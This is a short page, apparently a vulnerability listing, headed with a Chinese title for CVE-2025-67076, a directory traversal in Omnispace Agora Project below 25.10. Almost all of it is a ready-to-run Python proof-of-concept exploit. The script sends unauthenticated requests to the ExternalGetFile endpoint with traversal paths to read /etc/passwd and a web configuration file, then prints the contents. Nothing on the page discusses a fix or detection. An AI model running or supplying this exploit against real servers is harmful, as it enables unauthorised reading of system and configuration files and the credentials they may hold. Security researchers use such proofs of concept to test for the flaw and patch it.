CVE-2025-67076 | Omnispace Agora Project 目录遍历漏洞

import requests # CVE-2025-67076 PoC - Directory Traversal in Agora Project # Target: Omnispace Agora Project < 25.10 # Vulnerability: Unauthenticated file read via ExternalGetFile action def exploit_agoraTraversal(target_url, filename): """ Exploit directory traversal to read arbitrary files Args: target_url: Base URL of vulnerable Agora Project instance filename: Path to file to read (e.g., ../../../../etc/passwd) Returns: File contents if successful, None otherwise """ # Construct the vulnerable endpoint endpoint = f"{target_url}/misc/ExternalGetFile" # Payload with directory traversal params = { 'fileName': filename } try: # Send GET request without authentication response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully read file: {filename}") print("-" * 50) print(response.text) return response.text else: print(f"[-] Failed to read file. Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None # Example usage if __name__ == "__main__": target = "http://target-server.com/agora" # Read system files print("[*] Reading /etc/passwd...") exploit_agoraTraversal(target, "../../../../etc/passwd") print("\n[*] Reading configuration file...") exploit_agoraTraversal(target, "../../../../var/www/html/config.xml")